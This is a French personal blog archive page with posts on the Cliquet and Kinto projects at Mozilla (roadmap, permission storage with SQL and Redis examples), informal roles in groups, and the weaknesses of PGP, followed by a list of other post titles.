Puisque l'approche consiste à implémenter un protocole bien déterminé, nous n'excluons pas un jour d'écrire un Cliquet en aiohttp ou Go si cela s'avèrerait pertinent.

Pourquoi pas JSON-API ?

Comme nous l'expliquions au retour des APIdays, JSON-API est une spécification qui rejoint plusieurs de nos intentions.

Quand nous avons commencé le protocole, nous ne connaissions pas JSON-API. Pour l'instant, comme notre proposition est beaucoup plus minimaliste, le rapprochement n'a pas dépassé le stade de la discussion.

Est-ce que Cliquet est un framework REST pour Pyramid ?

Non.

Au delà des classes de resources CRUD de Cliquet, qui implémentent un protocole bien précis, il faut utiliser Cornice ou Pyramid directement.

Est-ce que Cliquet est suffisamment générique pour des projets hors Mozilla ?

Premièrement, nous faisons en sorte que tout soit contrôlable depuis la configuration .ini pour permettre la dés/activation ou substitution des composants.

Si le protocole HTTP/JSON des resources CRUD vous satisfait, alors Cliquet est probablement le plus court chemin pour construire une application qui tient la route.

Mais l'utilisation des resources CRUD est facultative, donc Cliquet reste pertinent si les bonnes pratiques en terme de mise en production ou les abstractions fournies vous paraissent valables !

Cliquet reste un moyen simple d'aller très vite pour mettre sur pied une application Pyramid/Cornice.

Est-ce que les resources JSON supporte les modèles relationnels complexes ?

La couche de persistence fournie est très simple, et devrait répondre à la majorité des cas d'utilisation où les données n'ont pas de relations.

En revanche, il est tout à fait possible de bénéficier de tous les aspects du protocole en utilisant une classe Collection maison, qui se chargerait elle de manipuler les relations.

Le besoin de relations pourrait être un bon prétexte pour implémenter le protocole avec Django REST Framework :)

Est-il possible de faire ci ou ça avec Cliquet ?

Nous aimerions collecter des besoins pour écrire un ensemble de «recettes/tutoriels». Mais pour ne pas travailler dans le vide, nous aimerions connaitre vos idées ! (ex. brancher l'authentification Github, changer le format du logging JSON, stocker des données cartographiques, ...)

Est-ce que Cliquet peut manipuler des fichiers ?

Nous l'envisageons, mais pour l'instant nous attendons que le besoin survienne en interne pour se lancer.

Si c'est le cas, le protocole utilisé sera Remote Storage, afin notamment de s'intégrer dans l'éco-système grandissant.

Est-ce que la fonctionnalité X va être implémentée ?

Cliquet est déjà bien garni. Plutôt qu'implémenter la fonctionnalité X, il y a de grandes chances que nous agissions pour s'assurer que les abstractions et les mécanismes d'extension fournis permettent de l'implémenter sous forme d'extension.

Service de nuages : Perspectives pour l'été

2015-07-07T00:00:00+02:00

Cet article est repris depuis le blog « Service de Nuages » de mon équipe à Mozilla

Mozilla a pour coutume d'organiser régulièrement des semaines de travail où tous les employés sont réunis physiquement. Pour cette dernière édition, nous avons pu retrouver nos collègues du monde entier à Whistler, en Colombie Britannique au Canada !

Ce fût l'occasion pour notre équipe de se retrouver, et surtout de partager notre vision et nos idées dans le domaine du stockage, afin de collecter des cas d'utilisation pour notre solution Kinto.

Dans cet article, nous passons en revue les pistes que nous avons pour les prochains mois.

Ateliers et promotion

Nicolas a présenté Kinto.js dans un atelier dédié, avec comme support de présentation le tutorial d'introduction.

L'application résultante, pourtant toute simple, permet d'appréhender les concepts de synchronisation de Kinto. Le tout sans installation prélable, puisque Rémy a mis en place un serveur de dev effacé tous les jours.

Nous avions mis un point d'honneur à faire du Vanilla.JS, déjà pour éviter les combats de clochers autour des frameworks, mais aussi pour mettre en évidence qu'avec HTML5 et ES6, on n'était plus aussi démunis qu'il y a quelques années.

Ce petit atelier nous a permis de nous rendre compte qu'on avait encore de grosses lacunes en terme de documentation, surtout en ce qui concerne l'éco-système et la vision globale des projets (Kinto, Kinto.js, Cliquet, ...). Nous allons donc faire de notre mieux pour combler ce manque.

Mozilla Payments

Comme décrit précédemment, nous avons mis en place un système de permissions pour répondre aux besoins de suivi des paiements et abonnements.

Pour ce projet, Kinto sera utilisé depuis une application Django, via un client Python.

Maintenant que les développements ont été livrés, il faut transformer l'essai, réussir l'intégration, l'hébergement et la montée en puissance. La solution doit être livrée à la fin de l'année.

À venir

Nous aimerions en profiter pour implémenter une fonctionnalité qui nous tient à coeur : la construction de la liste des enregistrements accessibles en lecture sur une collection partagée.

Firefox OS et stockage

Nous avons eu beaucoup d'échanges avec l'équipe de Firefox OS, avec qui nous avions déjà eu l'occasion de collaborer, pour le serveur d'identification BrowserID par SMS et pour Firefox Hello.

In-App sync

Kinto, la solution simple promue pour la synchronisation de données dans les applications Firefox OS ? La classe ! C'est ce qu'on avait en tête depuis longtemps, déjà à l'époque avec Daybed. Voici donc une belle opportunité à saisir !

Il va falloir expliciter les limitations et hypothèses simplificatrices de notre solution, surtout en termes de gestion de la concurrence. Nous sommes persuadés que ça colle avec la plupart des besoins, mais il ne faudrait pas décevoir :)

Le fait que Dale, un des auteurs de PouchDB et Michiel de Jong, un des auteurs de Remote Storage, nous aient encouragés sur nos premiers pas nous a bien motivé !

Cut the Rope

Kinto devrait être mis à profit pour synchroniser les paramètres et les scores du jeu. Un premier exercice et une première vitrine sympas !

« SyncTo »

Firefox Sync est la solution qui permet de synchroniser les données de Firefox (favoris, extensions, historique, complétion des formulaires, mots de passe, ...) entre plusieurs périphériques, de manière chiffrée.

L'implémentation du client en JavaScript est relativement complexe et date un peu maintenant. Le code existant n'est pas vraiment portable dans Firefox OS et les tentatives de réécriture n'ont pas abouti.

Nous souhaitons implémenter un pont entre Kinto et Firefox Sync, de manière à pouvoir utiliser le client Kinto.js, plus simple et plus moderne, pour récupérer les contenus et les stocker dans IndexedDB. Le delta à implémenter côté serveur est faible car nous nous étions inspirés du protocole déjà éprouvé de Sync. Côté client, il s'agira surtout de câbler l'authentification BrowserId et la Crypto.

Alexis a sauté sur l'occasion pour commencer l'écriture d'un client python pour Firefox Sync, qui servira de brique de base pour l'écriture du service.

Cloud Storage

Eden Chuang et Sean Lee ont présenté les avancées sur l'intégration de services de stockages distants (DropBox, Baidu Yun) dans Firefox OS. Actuellement, leur preuve de concept repose sur FUSE.

Nous avons évidemment en tête d'introduire la notion de fichiers attachés dans Kinto, en implémentant la specification *Remote Storage*, mais pour l'instant les cas d'utilisations ne se sont pas encore présentés officiellement.

À venir

Nous serons probablement amenés à introduire la gestion de la concurrence dans le client JS, en complément de ce qui a été fait sur le serveur, pour permettre les écritures simultanées et synchronisation en tâche de fond.

Nous sommes par ailleurs perpétuellement preneurs de vos retours — et bien entendu de vos contributions — tant sur le code serveur que client !

Contenus applicatifs de Firefox

Aujourd'hui Firefox a un cycle de release de six semaines. Un des objectifs consiste à désolidariser certains contenus applicatifs de ces cycles relativement longs (ex. règles de securité, dictionnaires, traductions, ...) [1].

Il s'agit de données JSON et binaire qui doivent être versionnées et synchronisées par les navigateurs (lecture seule).

Il y a plusieurs outils officiels qui existent pour gérer ça (Balrog, Shavar, ...), et pour l'instant, aucun choix n'a été fait. Mais lors des conversations avec l'équipe en charge du projet, ce fût vraiment motivant de voir que même pour ce genre de besoins internes, Kinto est tout aussi pertinent !

[1]	La bonne nouvelle c'est que toutes les fonctionnalités third-party qui ont été intégrées récemment vont redevenir des add-ons \o/.

Awesome bar

L'équipe Firefox Labs, le laboratoire qui élève des pandas roux en éprouvette, serait vraiment intéressé par notre solution, notamment pour abreuver en données un prototype pour améliorer Awesome bar, qui fusionnerait URL, historique et recherche.

Nous ne pouvons pas en dire beaucoup plus pour l'instant, mais les fonctionnalités de collections d'enregistrements partagées entre utilisateurs de Kinto correspondent parfaitement à ce qui est envisagé pour le futur du navigateur :)

À venir

Nous serons donc probablement amenés, avant de la fin de l'année, à introduire des fonctionnalités d'indexation et de recherche full-text (comprendre ElasticSearch). Cela rejoint nos plans précédents, puisque c'est quelque chose que nous avions dans Daybed, et qui figurait sur notre feuille de route !

Browser.html

L'équipe Recherche explore les notions de plateforme, et travaille notamment sur l'implémentation d'un navigateur en JS/HTML avec React: browser.html

Kinto correspond parfaitement aux attentes de l'équipe pour synchroniser les données associées à un utilisateur.

Il pourrait s'agir de données de navigation (comme Sync), mais aussi de collections d'enregistrements diverses, comme par exemple les préférences du navigateur ou un équivalent à Alexa.com Top 500 pour fournir la complétion d'URL sans interroger le moteur de recherche.

L'exercice pourrait être poussé jusqu'à la synchronisation d'états React entre périphériques (par exemple pour les onglets).

À venir

Si browser.html doit stocker des données de navigation, il faudra ajouter des fonctionnalités de chiffrement sur le client JS. Ça tombe bien, c'est un sujet passionant, et il y a plusieurs standards !

Pour éviter d'interroger le serveur à intervalle régulier afin de synchroniser les changements, l'introduction des *push notifications* semble assez naturelle. Il s'agirait alors de la dernière pierre qui manque à l'édifice pour obtenir un «Mobile/Web backend as a service» complet.

Conclusion

Nous sommes dans une situation idéale, puisque ce que nous avions imaginé sur notre feuille de route correspond à ce qui nous est demandé par les différentes équipes.

L'enjeu consiste maintenant à se coordonner avec tout le monde, ne pas décevoir, tenir la charge, continuer à améliorer et à faire la promotion du produit, se concentrer sur les prochaines étapes et embarquer quelques contributeurs à nos cotés pour construire une solution libre, générique, simple et auto-hébergeable pour le stockage de données sur le Web :)

Rôles

2015-06-29T00:00:00+02:00

Headline : De l'importance des rôles informels et de leur partage au sein d'un groupe.

Un […] dispositif consiste à tenter de faire bouger les rôles (pré)acquis ou qui se fixent dans le groupe, les pousser ailleurs que là où ils ont pris l’habitude de se réfugier suivant leur pente « naturelle ».

Pour ce faire, le groupe prendra du temps pour identifier les types de positions qu’adoptent ses protagonistes et les affects qui y sont liés, imaginer ensuite des questions à résoudre ou des propositions à travailler qui soient susceptibles d’enrichir la palette, les couleurs de la fonction de chacun dans le groupe et les manières qui sont les siennes d’intervenir et de faire évoluer l’histoire.

-- David Vercauteren, Micropolitiques des groupes

Réussir la transformation d'un espace compétitif vers un groupe soudé demande de réaliser quels sont les points forts de chacun au sein d'un groupe.

Une solution évoquée par StarHawk, reprise par David Vercauteren repose sur l'existence de rôles informels au sein des groupes et la nécessité de les faire tourner (ainsi que les responsabilités attachées).

Parmi les rôles principaux, quelques autres citations:

Note

l'emphase est de mon fait, et je retravaillé très legèrement certains passages afin d'avoir une lecture plus fluide. Je vous invite à suivre les liens pour voir les "questions que chaque rôle fait exister", et poursuivre la lecture du livre, qui est entièrement disponible en ligne.

Les corbeaux

Les Corbeaux sont visionnaires […] Ils voient à long terme, et gardent en ligne de mire les objectifs du groupe. Ils suggèrent de nouvelles directions, dressent des plans, développent des stratégies et anticipent les problèmes et les besoins.

Les Corbeaux ont souvent beaucoup d’influence sur le groupe. Si une ou deux personnes pensent à des plans au long-terme, les autres acquiesceront, simplement parce qu’ils n’ont pas amené d’autres propositions. Le groupe aurait intérêt à considérer ensemble les questions du Corbeau

Les graces

Les Grâces sont toujours attentives à l’énergie du groupe, prêtes à la renforcer au moment où elle faiblit, à la diriger et à la canaliser quand elle est forte.

Elles apportent au groupe […] enthousiasme, énergie, capacité à s’agrandir. Elles font en sorte que les gens se sentent bien, génèrent de l’enthousiasme pour le groupe, accueillent les nouveaux venus, amènent de nouvelles personnes. Elles offrent au groupe l’inspiration et génèrent de nouvelles idées.

Les dragons

Le dragon permet au groupe de rester connecté à […] l’aspect pratique et réaliste des choses. […] Le dragon veille aux ressources du groupe, à ses frontières et donne voix à ses limites.

Questions que fait exister le dragon:

Notre manière de travailler est-elle viable ?

Nos ressources sont-elles renouvelées ?

Les gens s’épuisent-ils ? Pourquoi ?

Pouvons-nous vraiment nous lancer dans ce projet et le mener à bien convenablement ?

De quelles frontières avec l’extérieur avons-nous besoin et voulons-nous ?

Comment établissons-nous ces frontières ? Comment nous protégeons-nous des intrusions ? Invasions ? Distractions ? De ce qui épuise nos énergies ?

Les Dragons établissent des frontières qui donnent au groupe un sentiment de sécurité et des limites qui le rendent viable dans le temps. Ils peuvent être perçus comme des rabat-joie, mais ils peuvent gagner l’estime de ceux qui, dans le groupe, se sentent dépassés et ne peuvent partager l’énergie des Corbeaux et des Grâces.

Nourrir les Dragons peut permettre au groupe de se maintenir dans le temps. Mais une fois encore, si ce rôle ne tourne pas, même les Dragons risquent de s’épuiser.

Les araignées

Le centre d’un groupe peut consister en un « cœur spirituel », un but ou une vision commune, ou peut se manifester à travers une personne. Dans les modes de pensée hiérarchique, le professeur ou le gourou occupe le centre du réseau. […]

Dans les groupes non-hiérarchiques, certaines personnes peuvent être perçues comme centrales : en disposant des informations dont les autres ont besoin, en étant le point de contact pour les autres.

Une Araignée est toutefois plus efficace en ne monopolisant pas la communication et les informations mais en posant les questions susceptibles de créer et de renforcer un véritable réseau d’interactions complexes.

Les serpents

Les serpents cultivent une attention particulière à la manière dont les gens se sentent. […]

Les serpents sont au courant de ce qui se murmure dans les couloirs, des conflits naissants, et les mettent sur la place publique, là où ils pourraient aider à une médiation, à une résolution du problème. […]

Les serpents transgressent les lois du Censeur, parlent des non-dits, mettent en évidence ce que d’autres ne voient pas ou préfèrent garder caché. […]

Les serpents peuvent diminuer l’antipathie dont ils font l’objet s’ils prennent la peine de poser des questions au groupe et non d’apporter des analyses.

Ainsi, il est possible de se rendre compte de la complexité et de l'importance d'une position ou d'une autre, et de les faire évoluer ensemble, en prenant en compte leur impact positif sur le groupe.

Il est par exemple possible, après avoir expérimenté des rôles, de questionner leur pertinence et d'établir des pistes d'amélioration en enlevant une part importante d'affect personnel qui parfois empêche des discussions constructives.

Je n'ai pour l'instant pas pu expérimenter l'évolution des rôles au sein d'un groupe donné, mais je peux d'ores et déjà me rendre compte que selon les groupes et selon les moments je n'ai pas le même rôle (tour à tour dragon, araignée et grace, parfois corbeau, rarement serpent)

Aussi, il semble que le groupe doive souhaiter l'établissement d'un environnement horizontal, avec une considération partagée de la direction que le groupe souhaite prendre pour qu'un tel dispositif ait du sens.

Service de nuages : Stocker et interroger les permissions avec Kinto

2015-05-26T00:00:00+02:00

Cet article est repris depuis le blog « Service de Nuages » de mon équipe à Mozilla

tl;dr: On a maintenant un super système de permission mais comment faire pour stocker et interroger ces permissions de manière efficace ?

La problématique

Maintenant que nous avons défini un modèle de gestion des permissions sur les objets qui nous satisfait, le problème est de stocker ces permissions de manière efficace afin de pouvoir autoriser ou interdire l'accès à un objet pour la personne qui fait la requête.

Chaque requête sur notre API va générer une ou plusieurs demandes d'accès, il faut donc que la réponse soit très rapide sous peine d'impacter la vélocité du service.

Obtenir la liste des "principals" d'un utilisateur

Les principals de l'utilisateur correspondent à son user_id ainsi qu'à la liste des identifiants des groupes dans lesquels il a été ajouté.

Pour éviter de recalculer les principals de l'utilisateur à chaque requête, le mieux reste de maintenir une liste des principals par utilisateur.

Ainsi lorsqu'on ajoute un utilisateur à un groupe, il faut bien penser à ajouter le groupe à la liste des principals de l'utilisateur.

Ça se complexifie lorsqu'on ajoute un groupe à un groupe.

Dans un premier temps interdire l'ajout d'un groupe à un groupe est une limitation qu'on est prêts à accepter pour simplifier le modèle.

L'avantage de maintenir la liste des principals d'un utilisateur lors de la modification de cette liste c'est qu'elle est déjà construite lors des lectures, qui sont dans notre cas plus fréquentes que les écritures.

Cela nécessite de donner un identifiant unique aux groupes pour tous les buckets.

Nous proposons de de les nommer avec leur URI: /buckets/blog/groups/moderators

Obtenir la liste des "principals" d'un ACE

Rappel, un "ACE" est un Access Control Entry, un des éléments d'une ACL (e.g. modifier un enregistrement).

Avec le système de permissions choisi, les permissions d'un objet héritent de celle de l'objet parent.

Par exemple, avoir le droit d'écriture sur un bucket permet la création des permissions et la modification de tous ses records.

Ce qui veut dire que pour obtenir la liste complète des principals ayant une permission sur un objet, il faut regarder à plusieurs endroits.

Rémy a décrit dans un gist la liste d'héritage de chaque permission.

Prenons l'exemple de l'ajout d'un record dans une collection.

Le droit records:create est obtenu si l'on a l'un des droits suivants:

bucket:write
collection:write
records:create

Notre première idée était de stocker les permissions sur chaque objet et de maintenir la liste exhaustive des permissions lors d'une modification d'ACL. Cependant cela nécessitait de construire cette liste lors de l'ajout d'un objet et de mettre à jour tout l'arbre lors de sa suppression. (Je vous laisse imaginer le nombre d'opérations nécessaires pour ajouter un administrateur sur un *bucket contenant 1000 collections avec 100000 records chacune.*)

La solution que nous avons désormais adoptée consiste à stocker les principals de chaque ACE (qui a le droit de faire telle action sur l'objet), et de faire l'union des ACE hérités, afin de les croiser avec les principals de l'utilisateur :

(ACE(object, permission) ∪ inherited_ACE) ∩ PRINCIPALS(user)

Par exemple l'ACE: /buckets/blog/collections/article:records:create hérite de l'ACE /buckets/blog/collections/article:write et de /buckets/blog:write :

(ACE(/buckets/blog/collections/article:records:create) ∪ ACE(/buckets/blog/collections/article:write) ∪ ACE(/buckets/blog:write)) ∩ PRINCIPALS('fxa:alexis')

Récupérer les données de l'utilisateur

La situation se corse lorsqu'on souhaite limiter la liste des records d'une collection à ceux accessibles pour l'utilisateur, car on doit faire cette intersection pour tous les records.

Une première solution est de regarder si l'utilisateur est mentionné dans les ACL*s du *bucket ou de la collection:

Ensuite, si ce n'est pas le cas, alors on filtre les records pour lesquels les principals correspondent à ceux de l'utilisateur.

principals = get_user_principals(user_id)
can_read_all = has_read_perms(bucket_id, collection_id,
                              principals)
if can_read_all:
    records = get_all_records(bucket_id, collection_id,
                              filters=[...])
else:
    records = filter_read_records(bucket_id, collection_id,
                                  principals=principals,
                                  filters=[...])

Il faudra faire quelque chose de similaire pour la suppression multiple, lorsqu'un utilisateur souhaitera supprimer des enregistrements sur lesquels il a les droits de lecture mais pas d'écriture.

Le modèle de données

Pour avoir une idée des requêtes dans un backend SQL, voyons un peu ce que donnerait le modèle de données.

Le format des ID

Utiliser des URI comme identifiant des objets présente de nombreux avantages (lisibilité, unicité, cohérence avec les URLs)

bucket: /buckets/blog
groupe: /buckets/blog/group/moderators
collection: /buckets/blog/collections/articles
record: /buckets/blog/collections/articles/records/02f3f76f-7059-4ae4-888f-2ac9824e9200

Les tables

Pour le stockage des principals et des permissions:

CREATE TABLE user(id TEXT, principals TEXT[]);
CREATE TABLE perms(ace TEXT, principals TEXT[]);

La table perms va associer des principals à chaque ACE (e.g.``/buckets/blog:write``).

Pour le stockage des données:

CREATE TABLE object(id TEXT, type TEXT, parent_id TEXT, data JSONB,
                    write_principals TEXT[], read_principals TEXT[]);

La colonne parent_id permet de savoir à qui appartient l'objet (e.g. groupe d'un bucket, collection d'un bucket, record d'une collection, ...).

Exemple d'utilisateur

INSERT INTO user (id, principals)
     VALUES ('fxa:alexis', '{}');

INSERT INTO user (id, principals)
     VALUES ('fxa:natim',
             '{"/buckets/blog/groups/moderators"}');

Exemple d'objets

Bucket

INSERT INTO object (id, type, parent_id, data,
                    read_principals, write_principals)
VALUES (
    '/buckets/blog',
    'bucket',
    NULL,
    '{"name": "blog"}'::JSONB,
    '{}', '{"fxa:alexis"}');

Group

INSERT INTO object (id, type, parent_id, data,
                    read_principals, write_principals)
VALUES (
    '/buckets/blog/groups/moderators',
    'group',
    '/buckets/blog',
    '{"name": "moderators", "members": ['fxa:natim']}'::JSONB,
    '{}', '{}');

Ce groupe peut être gére par fxa:alexis puisqu'il a la permission write dans le bucket parent.

Collection

INSERT INTO object (id, type, parent_id, data,
                    read_principals, write_principals)
VALUES (
    '/buckets/blog/collections/articles',
    'collection',
    '/buckets/blog',
    '{"name": "article"}'::JSONB,
    '{"system.Everyone"}',
    '{"/buckets/blog/groups/moderators"}');

Cette collection d'articles peut être lue par tout le monde, et gérée par les membres du groupe moderators, ainsi que fxa:alexis, via le bucket.

Records

INSERT INTO object (id, type, parent_id, data,
                    read_principals, write_principals)
VALUES (
    '/buckets/blog/collections/articles/records/02f3f76f-7059-4ae4-888f-2ac9824e9200',
    'record',
    '/buckets/blog/collections/articles',
    '{"name": "02f3f76f-7059-4ae4-888f-2ac9824e9200",
      "title": "Stocker les permissions", ...}'::JSONB,
    '{}', '{}');

Interroger les permissions

Obtenir la liste des "principals" d'un ACE

Comme vu plus haut, pour vérifier une permission, on fait l'union des principals requis par les objets hérités, et on teste leur intersection avec ceux de l'utilisateur:

WITH required_principals AS (
     SELECT unnest(principals) AS p
       FROM perms
      WHERE ace IN (
         '/buckets/blog:write',
         '/buckets/blog:read',
         '/buckets/blog/collections/article:write',
         '/buckets/blog/collections/article:read')
 ),
 user_principals AS (
     SELECT unnest(principals)
       FROM user
      WHERE id = 'fxa:natim'
 )
 SELECT COUNT(*)
   FROM user_principals a
  INNER JOIN required_principals b
     ON a.p = b.p;

Filtrer les objets en fonction des permissions

Pour filtrer les objets, on fait une simple intersection de liste (merci PostgreSQL):

SELECT data
  FROM object o, user u
 WHERE o.type = 'record'
   AND o.parent_id = '/buckets/blog/collections/article'
   AND (o.read_principals && u.principals OR
        o.write_principals && u.principals)
   AND u.id = 'fxa:natim';

Les listes s'indexent bien, notamment grâce aux index GIN.

Avec Redis

Redis présente plusieurs avantages pour ce genre de problématiques. Notamment, il gère les set nativement (listes de valeurs uniques), ainsi que les opérations d'intersection et d'union.

Avec Redis on peut écrire l'obtention des principals pour un ACE comme cela :

SUNIONSTORE temp_perm:/buckets/blog/collections/articles:write  permission:/buckets/blog:write  permission:/buckets/blog/collections/articles:write
SINTER temp_perm:/buckets/blog/collections/articles:write principals:fxa:alexis

SUNIONSTORE permet de créer un set contenant les éléments de l'union de tous les set suivants. Dans notre cas on le nomme temp_perm:/buckets/blog/collections/articles:write et il contient l'union des sets d'ACLs suivants: - permission:/buckets/blog:write - permission:/buckets/blog/collections/articles:write
SINTER retourne l'intersection de tous les sets passés en paramètres dans notre cas : - temp_perm:/buckets/blog/collections/articles:write - principals:fxa:alexis

Plus d'informations sur : - http://redis.io/commands/sinter - http://redis.io/commands/sunionstore

Si le set résultant de la commande SINTER n'est pas vide, alors l'utilisateur possède la permission.

On peut ensuite supprimer la clé temporaire temp_perm.

En utilisant MULTI on peut même faire tout cela au sein d'une transaction et garantir ainsi l'intégrité de la requête.

Conclusion

La solution a l'air simple mais nous a demandé beaucoup de réflexion en passant par plusieurs propositions.

L'idée finale est d'avoir :

Un backend spécifique permettant de stocker les principals des utilisateurs et des ACE (e.g. avec les sets Redis) ;
La liste des principals read et write sur la table des objets.

C'est dommage d'avoir le concept de permissions à deux endroits, mais cela permet de connaître rapidement la permission d'un utilisateur sur un objet et également de pouvoir récupérer tous les objets d'une collection pour un utilisateur si celui-ci n'a pas accès à tous les records de la collection, ou toutes les collections du bucket.

Les problèmes de PGP

2015-05-25T00:00:00+02:00

Flip a bit in the communication between sender and recipient and they will experience decryption or verification errors. How high are the chances they will start to exchange the data in the clear rather than trying to hunt down the man in the middle?

-- http://secushare.org/PGP

Une fois passé l'euphorie du "il faut utiliser PGP pour l'ensemble de nos communications", j'ai réalisé lors de discussions que PGP avait plusieurs problèmes, parmi ceux-ci:

Les meta données (y compris le champ "sujet" de la conversation) sont quand même échangées en clair (il est possible de savoir qu'un message à été échangé entre telle et telle personne, a telle date);
PGP se base sur un protocole de communication qui est lui non chiffré, et il est donc facile de soit se tromper, soit dégrader le mode de conversation vers une méthode non chiffrée;
Il est facile de connaître votre réseau social avec PGP, puisque tout le principe est de signer les clés des personnes dont vous validez l'identité;
En cas de fuite de votre clé privée, tous les messages que vous avez chiffrés avec elle sont compromis. On dit que PGP ne fournit pas de forward secrecy;
La découverte de la clé de pairs se passe souvent en clair, sans utiliser une connexion "sécurisée" (HTTPS). Tout le monde peut donc voir ces échanges et savoir de qui vous cherchez la clé;
Les discussions de groupes sont très difficiles: il faut chiffrer pour chacun des destinataires (ou que ceux-ci partagent une paire de clés).

Je suis en train de creuser à propos les alternatives à PGP, par exemple Pond, qui lui ne construit pas par dessus un standard déjà établi, et donc n'hérite pas de ses défauts (mais pas non plus de son réseau déjà établi).

En attendant, quelques bonnes pratiques sur PGP ;)

Bonnes pratiques

Il est en fait assez facile d'utiliser PGP de travers. Riseup à fait un excellent guide qui explique comment configurer son installation correctement.

J'en ai déjà parlé, mais il faut absolument choisir des phrases de passes suffisamment longues. Pas facile de les retenir, mais indispensable. Vous pouvez aussi avoir un document chiffré avec une clé que vous ne mettez jamais en ligne, qui contiens ces phrases de passe, au cas ou vous les oubliez.
Générez des clés RSA de 4096 bits, en utilisant sha512;
Il faut utiliser une date d'expiration de nos clés suffisamment proche (2 ans). Il est possible de repousser cette date si nécessaire, par la suite.

Parmi les choses les plus frappantes que j'ai rencontrées:

Utiliser le flag –hidden-recipient avec PGP pour ne pas dévoiler qui est le destinataire du message;
Ne pas envoyer les messages de brouillons sur votre serveur, ils le seraient en clair !;
Utilisez HPKS pour communiquer avec les serveurs de clés, sinon tout le trafic est en clair.

Le projet Bitmask vise lui à rendre les outils de chiffrement d'échanges de messages et de VPN simples à utiliser, encore quelque chose à regarder.

Enfin bref, y'a du taf.

Carnets en ligne

Ours

Vélo

Un espace des communs Rennais ?

1. Un espace pour fédérer

Fréquence

Charte éthique

Gouvernance

2. Hébergement de services Web

Et donc ?

Brasserie - petit bilan, après un an d’existence

La brasserie du Vieux Singe a un an !

Quelques dates & chiffres

Travaux & installation

Premiers brassins

Préventes, puis ventes

Organisation du temps

La place de l’expérimentation

Ouverture au public, évènements et équilibre

Bref…

De Mozilla à la Brasserie du Vieux Singe

Groupement d'achats & partage d'expérience

Organisation

Quels produits ?

Paiements

Transports

La distribution

Nos outils

Webnotes

Faire moins

NEIPA #3

Objectifs:

Recette:

Grains:

Houblons:

Eau:

Gypse: 1g

Profil d'empatage:

Levure

Déroulé

Fermentation

Observations:

NEIPA #2

Objectifs

Recette

Grains

Houblons

Eau

Profil d'empatage

Levure

Déroulé

Fermentation

Observations:

Un club des brasseurs amateurs Rennais

L'arrivée du trouble (ou comment faire des NEIPA ?)

La phase de démarrage

La phase de croissance

C'est parti !

Les malts

Les levures

L'eau

Les houblons

Brasserie du Vieux Singe — Installation en cours.

Apprentissage

Questionner la posture de «Chef d'entreprise» et son rapport au temps

Les projets collectifs

Besoin de concret

Comment est-ce que vous générez vos formulaires ?

Fonctionnalités

Pas de compte

Gardez la main sur vos données

API

Auto-hébergeable

On commence petit…

Et, euh, comment ça marche ?

Cloisonnement des activités ?

Alors, brasserie ou code ?

Avez vous confiance en SSL?

Comment fonctionne SSL?

Attaque de l'homme du milieu avec SSL